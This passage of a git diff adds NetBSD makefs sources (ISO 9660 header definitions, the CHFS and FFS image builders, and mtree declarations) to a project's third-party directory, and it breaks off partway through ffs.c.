*isoExtAttributes; + + /***** SIZE CALCULATION *****/ + /*already stored in isoDirRecord, but this is an int version, and will be + copied to isoDirRecord on writing*/ + uint32_t fileDataSector; + + /* + * same thing, though some notes: + * If a file, this is the file size + * If a directory, this is the size of all its children's + * directory records + * plus necessary padding + */ + int64_t fileDataLength; + + int64_t fileSectorsUsed; + int fileRecordSize;/*copy of a variable, int for quicker calculations*/ + + /* Old name, used for renaming - needs to be optimized but low priority */ + char o_name [ISO_FILENAME_MAXLENGTH_WITH_PADDING]; + + /***** SPACE RESERVED FOR EXTENSIONS *****/ + /* For memory efficiency's sake - we should move this to a separate struct + and point to null if not needed */ + /* For Rock Ridge */ + struct _cd9660node *rr_real_parent, *rr_relocated; + + int64_t susp_entry_size; + int64_t susp_dot_entry_size; + int64_t susp_dot_dot_entry_size; + + /* Continuation area stuff */ + int64_t susp_entry_ce_start; + int64_t susp_dot_ce_start; + int64_t susp_dot_dot_ce_start; + + int64_t susp_entry_ce_length; + int64_t susp_dot_ce_length; + int64_t susp_dot_dot_ce_length; + + /* Data to put at the end of the System Use field */ + int64_t su_tail_size; + char *su_tail_data; + + /*** PATH TABLE STUFF ***/ + int level; /*depth*/ + int ptnumber; + struct _cd9660node *ptnext, *ptprev, *ptlast; + + /* SUSP entries */ + TAILQ_HEAD(susp_linked_list, ISO_SUSP_ATTRIBUTES) head; +} cd9660node; + +typedef struct _path_table_entry +{ + u_char length[ISODCL (1, 1)]; + u_char extended_attribute_length[ISODCL (2, 2)]; + u_char first_sector[ISODCL (3, 6)]; + u_char parent_number[ISODCL (7, 8)]; + u_char name[ISO_FILENAME_MAXLENGTH_WITH_PADDING]; +} path_table_entry; + +typedef struct _volume_descriptor +{ + u_char *volumeDescriptorData; /*ALWAYS 2048 bytes long*/ + int64_t sector; + struct _volume_descriptor *next; +} volume_descriptor; + +typedef struct _iso9660_disk { + int sectorSize; + struct iso_primary_descriptor primaryDescriptor; + struct iso_supplementary_descriptor supplementaryDescriptor; + + volume_descriptor *firstVolumeDescriptor; + + cd9660node *rootNode; + + /* Important sector numbers here */ + /* primaryDescriptor.type_l_path_table*/ + int64_t primaryBigEndianTableSector; + + /* primaryDescriptor.type_m_path_table*/ + int64_t primaryLittleEndianTableSector; + + /* primaryDescriptor.opt_type_l_path_table*/ + int64_t secondaryBigEndianTableSector; + + /* primaryDescriptor.opt_type_m_path_table*/ + int64_t secondaryLittleEndianTableSector; + + /* primaryDescriptor.path_table_size*/ + int pathTableLength; + int64_t dataFirstSector; + + int64_t totalSectors; + /* OPTIONS GO HERE */ + int isoLevel; + + int include_padding_areas; + + int follow_sym_links; + int verbose_level; + int displayHelp; + int keep_bad_images; + + /* SUSP options and variables */ + int64_t susp_continuation_area_start_sector; + int64_t susp_continuation_area_size; + int64_t susp_continuation_area_current_free; + + int rock_ridge_enabled; + /* Other Rock Ridge Variables */ + char *rock_ridge_renamed_dir_name; + int rock_ridge_move_count; + cd9660node *rr_moved_dir; + + int archimedes_enabled; + int chrp_boot; + + /* Spec breaking options */ + u_char allow_deep_trees; + u_char allow_start_dot; + u_char allow_max_name; /* Allow 37 char filenames*/ + u_char allow_illegal_chars; /* ~, !, # */ + u_char allow_lowercase; + u_char allow_multidot; + u_char omit_trailing_period; + + /* BOOT INFORMATION HERE */ + int has_generic_bootimage; /* Default to 0 */ + char *generic_bootimage; + + int is_bootable;/* Default to 0 */ + int64_t boot_catalog_sector; + boot_volume_descriptor *boot_descriptor; + char * boot_image_directory; + + TAILQ_HEAD(boot_image_list,cd9660_boot_image) boot_images; + int image_serialno; + LIST_HEAD(boot_catalog_entries,boot_catalog_entry) boot_entries; + +} iso9660_disk; + +/************ FUNCTIONS **************/ +int cd9660_valid_a_chars(const char *); +int cd9660_valid_d_chars(const char *); +void cd9660_uppercase_characters(char *, int); + +/* ISO Data Types */ +void cd9660_721(uint16_t, unsigned char *); +void cd9660_731(uint32_t, unsigned char *); +void cd9660_722(uint16_t, unsigned char *); +void cd9660_732(uint32_t, unsigned char *); +void cd9660_bothendian_dword(uint32_t dw, unsigned char *); +void cd9660_bothendian_word(uint16_t dw, unsigned char *); +void cd9660_set_date(char *, time_t); +void cd9660_time_8426(unsigned char *, time_t); +void cd9660_time_915(unsigned char *, time_t); + +/*** Boot Functions ***/ +int cd9660_write_generic_bootimage(FILE *); +int cd9660_write_boot(iso9660_disk *, FILE *); +int cd9660_add_boot_disk(iso9660_disk *, const char *); +int cd9660_eltorito_add_boot_option(iso9660_disk *, const char *, + const char *); +int cd9660_setup_boot(iso9660_disk *, int); +int cd9660_setup_boot_volume_descriptor(iso9660_disk *, + volume_descriptor *); + + +/*** Write Functions ***/ +int cd9660_write_image(iso9660_disk *, const char *image); +int cd9660_copy_file(iso9660_disk *, FILE *, off_t, const char *); + +void cd9660_compute_full_filename(cd9660node *, char *); +int cd9660_compute_record_size(iso9660_disk *, cd9660node *); + +/* Debugging functions */ +void debug_print_tree(iso9660_disk *, cd9660node *,int); +void debug_print_path_tree(cd9660node *); +void debug_print_volume_descriptor_information(iso9660_disk *); +void debug_dump_to_xml_ptentry(path_table_entry *,int, int); +void debug_dump_to_xml_path_table(FILE *, off_t, int, int); +void debug_dump_to_xml(FILE *); +int debug_get_encoded_number(unsigned char *, int); +void debug_dump_integer(const char *, char *,int); +void debug_dump_string(const char *,unsigned char *,int); +void debug_dump_directory_record_9_1(unsigned char *); +void debug_dump_to_xml_volume_descriptor(unsigned char *,int); + +void cd9660_pad_string_spaces(char *, int); + +#endif diff --git a/thirdparty/makefs/chfs.c b/thirdparty/makefs/chfs.c new file mode 100644 index 0000000..7a87d23 --- /dev/null +++ b/thirdparty/makefs/chfs.c @@ -0,0 +1,222 @@ +/*- + * Copyright (c) 2012 Department of Software Engineering, + * University of Szeged, Hungary + * Copyright (c) 2012 Tamas Toth + * All rights reserved. + * + * This code is derived from software contributed to The NetBSD Foundation + * by the Department of Software Engineering, University of Szeged, Hungary + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, + * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#if HAVE_NBTOOL_CONFIG_H +#include "nbtool_config.h" +#endif + +#include + +#include +#include +#include +#include +#include +#include +#include + +#include "makefs.h" +#include "chfs_makefs.h" + +#include "chfs/chfs_mkfs.h" + +static void chfs_validate(const char *, fsnode *, fsinfo_t *); +static int chfs_create_image(const char *, fsinfo_t *); +static int chfs_populate_dir(const char *, fsnode *, fsnode *, fsinfo_t *); + + +void +chfs_prep_opts(fsinfo_t *fsopts) +{ + chfs_opt_t *chfs_opts = ecalloc(1, sizeof(*chfs_opts)); + + const option_t chfs_options[] = { + { 'p', "pagesize", &chfs_opts->pagesize, OPT_INT32, + 1, INT_MAX, "page size" }, + { 'e', "eraseblock", &chfs_opts->eraseblock, OPT_INT32, + 1, INT_MAX, "eraseblock size" }, + { 'm', "mediatype", &chfs_opts->mediatype, OPT_INT32, + 0, 1, "type of the media, 0 (nor) or 1 (nand)" }, + { .name = NULL } + }; + + chfs_opts->pagesize = -1; + chfs_opts->eraseblock = -1; + chfs_opts->mediatype = -1; + + fsopts->size = 0; + fsopts->fs_specific = chfs_opts; + fsopts->fs_options = copy_opts(chfs_options); +} + +void +chfs_cleanup_opts(fsinfo_t *fsopts) +{ + free(fsopts->fs_specific); + free(fsopts->fs_options); +} + +int +chfs_parse_opts(const char *option, fsinfo_t *fsopts) +{ + + assert(option != NULL); + assert(fsopts != NULL); + + return set_option(fsopts->fs_options, option, NULL, 0) != -1; +} + +void +chfs_makefs(const char *image, const char *dir, fsnode *root, fsinfo_t *fsopts) +{ + struct timeval start; + + assert(image != NULL); + assert(dir != NULL); + assert(root != NULL); + assert(fsopts != NULL); + + TIMER_START(start); + chfs_validate(dir, root, fsopts); + TIMER_RESULTS(start, "chfs_validate"); + + printf("Creating `%s'\n", image); + TIMER_START(start); + if (chfs_create_image(image, fsopts) == -1) { + errx(EXIT_FAILURE, "Image file `%s' not created", image); + } + TIMER_RESULTS(start, "chfs_create_image"); + + fsopts->curinode = CHFS_ROOTINO; + root->inode->ino = CHFS_ROOTINO; + + printf("Populating `%s'\n", image); + TIMER_START(start); + write_eb_header(fsopts); + if (!chfs_populate_dir(dir, root, root, fsopts)) { + errx(EXIT_FAILURE, "Image file `%s' not populated", image); + } + TIMER_RESULTS(start, "chfs_populate_dir"); + + padblock(fsopts); + + if (close(fsopts->fd) == -1) { + err(EXIT_FAILURE, "Closing `%s'", image); + } + fsopts->fd = -1; + + printf("Image `%s' complete\n", image); +} + +static void +chfs_validate(const char* dir, fsnode *root, fsinfo_t *fsopts) +{ + chfs_opt_t *chfs_opts; + assert(dir != NULL); + assert(root != NULL); + assert(fsopts != NULL); + + chfs_opts = fsopts->fs_specific; + + if (chfs_opts->pagesize == -1) { + chfs_opts->pagesize = DEFAULT_PAGESIZE; + } + if (chfs_opts->eraseblock == -1) { + chfs_opts->eraseblock = DEFAULT_ERASEBLOCK; + } + if (chfs_opts->mediatype == -1) { + chfs_opts->mediatype = DEFAULT_MEDIATYPE; + } +} + +static int +chfs_create_image(const char *image, fsinfo_t *fsopts) +{ + assert(image != NULL); + assert(fsopts != NULL); + + if ((fsopts->fd = open(image, O_RDWR | O_CREAT | O_TRUNC, 0666)) == -1) { + warn("Can't open `%s' for writing", image); + return -1; + } + + return fsopts->fd; +} + +static int +chfs_populate_dir(const char *dir, fsnode *root, fsnode *parent, + fsinfo_t *fsopts) +{ + fsnode *cur; + char path[MAXPATHLEN + 1]; + + assert(dir != NULL); + assert(root != NULL); + assert(fsopts != NULL); + + for (cur = root->next; cur != NULL; cur = cur->next) { + if ((cur->inode->flags & FI_ALLOCATED) == 0) { + cur->inode->flags |= FI_ALLOCATED; + if (cur != root) { + fsopts->curinode++; + cur->inode->ino = fsopts->curinode; + cur->parent = parent; + } + } + + if (cur->inode->flags & FI_WRITTEN) { + continue; // hard link + } + cur->inode->flags |= FI_WRITTEN; + + write_vnode(fsopts, cur); + write_dirent(fsopts, cur); + if (!S_ISDIR(cur->type & S_IFMT)) { + write_file(fsopts, cur, dir); + } + } + + for (cur = root; cur != NULL; cur = cur->next) { + if (cur->child == NULL) { + continue; + } + if ((size_t)snprintf(path, sizeof(path), "%s/%s", dir, + cur->name) >= sizeof(path)) { + errx(EXIT_FAILURE, "Pathname too long"); + } + if (!chfs_populate_dir(path, cur->child, cur, fsopts)) { + return 0; + } + } + + return 1; +} + diff --git a/thirdparty/makefs/chfs_makefs.h b/thirdparty/makefs/chfs_makefs.h new file mode 100644 index 0000000..e722a9f --- /dev/null +++ b/thirdparty/makefs/chfs_makefs.h @@ -0,0 +1,48 @@ +/*- + * Copyright (c) 2012 Department of Software Engineering, + * University of Szeged, Hungary + * Copyright (c) 2012 Tamas Toth + * All rights reserved. + * + * This code is derived from software contributed to The NetBSD Foundation + * by the Department of Software Engineering, University of Szeged, Hungary + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, + * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#ifndef _CHFS_MAKEFS_H +#define _CHFS_MAKEFS_H + +#define TYPE_NOR 0 +#define TYPE_NAND 1 + +#define DEFAULT_PAGESIZE 2048 +#define DEFAULT_ERASEBLOCK 131072 +#define DEFAULT_MEDIATYPE TYPE_NAND + +typedef struct { + int pagesize; /* page size */ + int eraseblock; /* eraseblock size */ + int mediatype; /* type of the media, 0 (nor) or 1 (nand) */ +} chfs_opt_t; + +#endif diff --git a/thirdparty/makefs/extern.h b/thirdparty/makefs/extern.h new file mode 100644 index 0000000..0bf4302 --- /dev/null +++ b/thirdparty/makefs/extern.h @@ -0,0 +1,93 @@ +/* $NetBSD: extern.h,v 1.5 2011/07/27 15:31:00 seb Exp $ */ + +/*- + * Copyright (c) 1991, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * @(#)extern.h 8.1 (Berkeley) 6/6/93 + */ + +#if HAVE_CONFIG_H +#include "config.h" +#endif +#include "mtree.h" + +#if 0 +#if HAVE_NBTOOL_CONFIG_H +#include "nbtool_config.h" +#else +#define HAVE_STRUCT_STAT_ST_FLAGS 1 +#endif +#endif + +// #include +#if HAVE_ERR_H +#include +#endif +#if HAVE_FTS_H +#include +#endif + +#if HAVE_NETDB_H +/* For MAXHOSTNAMELEN on some platforms. */ +#if HAVE_NETDB_H +#include +#endif +#endif + +#ifndef MAXHOSTNAMELEN +#define MAXHOSTNAMELEN 256 +#endif + +void addtag(slist_t *, char *); +int check_excludes(const char *, const char *); +int compare(NODE *, FTSENT *); +int crc(int, uint32_t *, uint32_t *); +void cwalk(void); +void dump_nodes(const char *, NODE *, int); +void init_excludes(void); +int matchtags(NODE *); +void mtree_err(const char *, ...) + __attribute__((__format__(__printf__, 1, 2))); +const char *nodetype(u_int); +u_int parsekey(const char *, int *); +void parsetags(slist_t *, char *); +u_int parsetype(const char *); +void read_excludes_file(const char *); +const char *rlink(const char *); +int verify(void); + +extern int dflag, eflag, iflag, lflag, mflag, rflag, sflag, tflag, uflag; +extern int mtree_Mflag, mtree_Wflag; +extern size_t mtree_lineno; +extern uint32_t crc_total; +extern int ftsoptions, keys; +extern char fullpath[]; +extern slist_t includetags, excludetags; + + +#include "stat_flags.h" diff --git a/thirdparty/makefs/ffs.c b/thirdparty/makefs/ffs.c new file mode 100644 index 0000000..44f1519 --- /dev/null +++ b/thirdparty/makefs/ffs.c @@ -0,0 +1,1155 @@ +/* $NetBSD: ffs.c,v 1.64 2015/01/12 19:50:25 christos Exp $ */ + +/* + * Copyright (c) 2001 Wasabi Systems, Inc. + * All rights reserved. + * + * Written by Luke Mewburn for Wasabi Systems, Inc. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed for the NetBSD Project by + * Wasabi Systems, Inc. + * 4. The name of Wasabi Systems, Inc. may not be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * + * THIS SOFTWARE IS PROVIDED BY WASABI SYSTEMS, INC. ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL WASABI SYSTEMS, INC + * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ +/* + * Copyright (c) 1982, 1986, 1989, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * @(#)ffs_alloc.c 8.19 (Berkeley) 7/13/95 + */ + +#if HAVE_NBTOOL_CONFIG_H +#include "nbtool_config.h" +#endif + +#include +#if defined(__RCSID) && !defined(__lint) +__RCSID("$NetBSD: ffs.c,v 1.64 2015/01/12 19:50:25 christos Exp $"); +#endif /* !__lint */ + +#include + +#if !HAVE_NBTOOL_CONFIG_H +#include +#endif + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "makefs.h" +#include "ffs.h" + +#if HAVE_STRUCT_STATVFS_F_IOSIZE && HAVE_FSTATVFS +#include +#endif + +#include +#include +#include +#include + +#include "ffs/ufs_inode.h" +#include "ffs/newfs_extern.h" +#include "ffs/ffs_extern.h" + +#undef DIP +#define DIP(dp, field) \ + ((ffs_opts->version == 1) ? \ + (dp)->ffs1_din.di_##field : (dp)->ffs2_din.di_##field) + +/* + * Various file system defaults (cribbed from newfs(8)). + */ +#define DFL_FRAGSIZE 1024 /* fragment size */ +#define DFL_BLKSIZE 8192 /* block size */ +#define DFL_SECSIZE 512 /* sector size */ +#define DFL_CYLSPERGROUP 65536 /* cylinders per group */ +#define DFL_FRAGSPERINODE 4 /* fragments per inode */ +#define DFL_ROTDELAY 0 /* rotational delay */ +#define DFL_NRPOS 1 /* rotational positions */ +#define DFL_RPM 3600 /* rpm of disk */ +#define DFL_NSECTORS 64 /* # of sectors */ +#define DFL_NTRACKS 16 /* # of tracks */ + + +typedef struct { + u_char *buf; /* buf for directory */ + doff_t size; /* full size of buf */ + doff_t cur; /* offset of current entry */ +} dirbuf_t; + + +static int ffs_create_image(const char *, fsinfo_t *); +static void ffs_dump_fsinfo(fsinfo_t *); +static void ffs_dump_dirbuf(dirbuf_t *, const char *, int); +static void ffs_make_dirbuf(dirbuf_t *, const char *, fsnode *, int); +static int ffs_populate_dir(const char *, fsnode *, fsinfo_t *); +static void ffs_size_dir(fsnode *, fsinfo_t *); +static void ffs_validate(const char *, fsnode *, fsinfo_t *); +static void ffs_write_file(union dinode *, uint32_t, void *, fsinfo_t *); +static void ffs_write_inode(union dinode *, uint32_t, const fsinfo_t *); +static void *ffs_build_dinode1(struct ufs1_dinode *, dirbuf_t *, fsnode *, + fsnode *, fsinfo_t *); +static void *ffs_build_dinode2(struct ufs2_dinode *, dirbuf_t *, fsnode *, + fsnode *, fsinfo_t *); + + + + /* publically visible functions */ +void +ffs_prep_opts(fsinfo_t *fsopts) +{ + ffs_opt_t *ffs_opts = ecalloc(1, sizeof(*ffs_opts)); + + const option_t ffs_options[] = { + { 'b', "bsize", &ffs_opts->bsize, OPT_INT32, + 1, INT_MAX, "block size" }, + { 'f', "fsize", &ffs_opts->fsize, OPT_INT32, + 1, INT_MAX, "fragment size" }, + { 'd', "density", &ffs_opts->density, OPT_INT32, + 1, INT_MAX, "bytes per inode" }, + { 'm', "minfree", &ffs_opts->minfree, OPT_INT32, + 0, 99, "minfree" }, + { 'M', "maxbpg", &ffs_opts->maxbpg, OPT_INT32, + 1, INT_MAX, "max blocks per file in a cg" }, + { 'a', "avgfilesize", &ffs_opts->avgfilesize, OPT_INT32, + 1, INT_MAX, "expected average file size" }, + { 'n', "avgfpdir", &ffs_opts->avgfpdir, OPT_INT32, + 1, INT_MAX, "expected # of files per directory" }, + { 'x', "extent", &ffs_opts->maxbsize, OPT_INT32, + 1, INT_MAX, "maximum # extent size" }, + { 'g', "maxbpcg", &ffs_opts->maxblkspercg, OPT_INT32, + 1, INT_MAX, "max # of blocks per group" }, + { 'v', "version", &ffs_opts->version, OPT_INT32, + 1, 2, "UFS version" }, + { 'o', "optimization", NULL, OPT_STRBUF, + 0, 0, "Optimization (time|space)" }, + { 'l', "label", ffs_opts->label, OPT_STRARRAY, + 1, sizeof(ffs_opts->label), "UFS label" }, + { .name = NULL } + }; + + ffs_opts->bsize= -1; + ffs_opts->fsize= -1; + ffs_opts->cpg= -1; + ffs_opts->density= -1; + ffs_opts->minfree= -1; + ffs_opts->optimization= -1; + ffs_opts->maxcontig= -1; + ffs_opts->maxbpg= -1; + ffs_opts->avgfilesize= -1; + ffs_opts->avgfpdir= -1; + ffs_opts->version = 1; + + fsopts->fs_specific = ffs_opts; + fsopts->fs_options = copy_opts(ffs_options); +} + +void +ffs_cleanup_opts(fsinfo_t *fsopts) +{ + free(fsopts->fs_specific); + free(fsopts->fs_options); +} + +int +ffs_parse_opts(const char *option, fsinfo_t *fsopts) +{ + ffs_opt_t *ffs_opts = fsopts->fs_specific; + option_t *ffs_options = fsopts->fs_options; + char buf[1024]; + + int rv; + + assert(option != NULL); + assert(fsopts != NULL); + assert(ffs_opts != NULL); + + if (debug & DEBUG_FS_PARSE_OPTS) + printf("ffs_parse_opts: got `%s'\n", option); + + rv = set_option(ffs_options, option, buf, sizeof(buf)); + if (rv == -1) + return 0; + + if (ffs_options[rv].name == NULL) + abort(); + + switch (ffs_options[rv].letter) { + case 'o': + if (strcmp(buf, "time") == 0) { + ffs_opts->optimization = FS_OPTTIME; + } else if (strcmp(buf, "space") == 0) { + ffs_opts->optimization = FS_OPTSPACE; + } else { + warnx("Invalid optimization `%s'", buf); + return 0; + } + break; + default: + break; + } + return 1; +} + + +void +ffs_makefs(const char *image, const char *dir, fsnode *root, fsinfo_t *fsopts) +{ + struct fs *superblock; + struct timeval start; + + assert(image != NULL); + assert(dir != NULL); + assert(root != NULL); + assert(fsopts != NULL); + + if (debug & DEBUG_FS_MAKEFS) + printf("ffs_makefs: image %s directory %s root %p\n", + image, dir, root); + + /* validate tree and options */ + TIMER_START(start); + ffs_validate(dir, root, fsopts); + TIMER_RESULTS(start, "ffs_validate"); + + printf("Calculated size of `%s': %lld bytes, %lld inodes\n", + image, (long long)fsopts->size, (long long)fsopts->inodes); + + /* create image */ + TIMER_START(start); + if (ffs_create_image(image, fsopts) == -1) + errx(1, "Image file `%s' not created.", image); + TIMER_RESULTS(start, "ffs_create_image"); + + fsopts->curinode = UFS_ROOTINO; + + if (debug & DEBUG_FS_MAKEFS) + putchar('\n'); + + /* populate image */ + printf("Populating `%s'\n", image); + TIMER_START(start); + if (! ffs_populate_dir(dir, root, fsopts)) + errx(1, "Image file `%s' not populated.", image); + TIMER_RESULTS(start, "ffs_populate_dir"); + + /* ensure no outstanding buffers remain */ + if (debug & DEBUG_FS_MAKEFS) + bcleanup(); + + /* update various superblock parameters */ + superblock = fsopts->superblock; + superblock->fs_fmod = 0; + superblock->fs_old_cstotal.cs_ndir = superblock->fs_cstotal.cs_ndir; + superblock->fs_old_cstotal.cs_nbfree = superblock->fs_cstotal.cs_nbfree; + superblock->fs_old_cstotal.cs_nifree = superblock->fs_cstotal.cs_nifree; + superblock->fs_old_cstotal.cs_nffree = superblock->fs_cstotal.cs_nffree; + + /* write out superblock; image is now complete */ + ffs_write_superblock(fsopts->superblock, fsopts); + if (close(fsopts->fd) == -1) + err(1, "Closing `%s'", image); + fsopts->fd = -1; + printf("Image `%s' complete\n", image); +} + + /* end of public functions */ + + +static void +ffs_validate(const char *dir, fsnode *root, fsinfo_t *fsopts) +{ + int32_t ncg = 1; +#if notyet + int32_t spc, nspf, ncyl, fssize; +#endif + ffs_opt_t *ffs_opts = fsopts->fs_specific; + + assert(dir != NULL); + assert(root != NULL); + assert(fsopts != NULL); + assert(ffs_opts != NULL); + + if (debug & DEBUG_FS_VALIDATE) { + printf("ffs_validate: before defaults set:\n"); + ffs_dump_fsinfo(fsopts); + } + + /* set FFS defaults */ + if (fsopts->sectorsize == -1) + fsopts->sectorsize = DFL_SECSIZE; + if (ffs_opts->fsize == -1) + ffs_opts->fsize = MAX(DFL_FRAGSIZE, fsopts->sectorsize); + if (ffs_opts->bsize == -1) + ffs_opts->bsize = MIN(DFL_BLKSIZE, 8 * ffs_opts->fsize); + if (ffs_opts->cpg == -1) + ffs_opts->cpg = DFL_CYLSPERGROUP; + else + ffs_opts->cpgflg = 1; + /* fsopts->density is set below */ + if (ffs_opts->nsectors == -1) + ffs_opts->nsectors = DFL_NSECTORS; + if (ffs_opts->minfree == -1) + ffs_opts->minfree = MINFREE; + if (ffs_opts->optimization == -1) + ffs_opts->optimization = DEFAULTOPT; + if (ffs_opts->maxcontig == -1) + ffs_opts->maxcontig = + MAX(1, MIN(MAXPHYS, FFS_MAXBSIZE) / ffs_opts->bsize); + /* XXX ondisk32 */ + if (ffs_opts->maxbpg == -1) + ffs_opts->maxbpg = ffs_opts->bsize / sizeof(int32_t); + if (ffs_opts->avgfilesize == -1) + ffs_opts->avgfilesize = AVFILESIZ; + if (ffs_opts->avgfpdir == -1) + ffs_opts->avgfpdir = AFPDIR; + + /* calculate size of tree */ + ffs_size_dir(root, fsopts); + fsopts->inodes += UFS_ROOTINO; /* include first two inodes */ + + if (debug & DEBUG_FS_VALIDATE) + printf("ffs_validate: size of tree: %lld bytes, %lld inodes\n", + (long long)fsopts->size, (long long)fsopts->inodes); + + /* add requested slop */ + fsopts->size += fsopts->freeblocks; + fsopts->inodes += fsopts->freefiles; + if (fsopts->freefilepc > 0) + fsopts->inodes = + fsopts->inodes * (100 + fsopts->freefilepc) / 100; + if (fsopts->freeblockpc > 0) + fsopts->size = + fsopts->size * 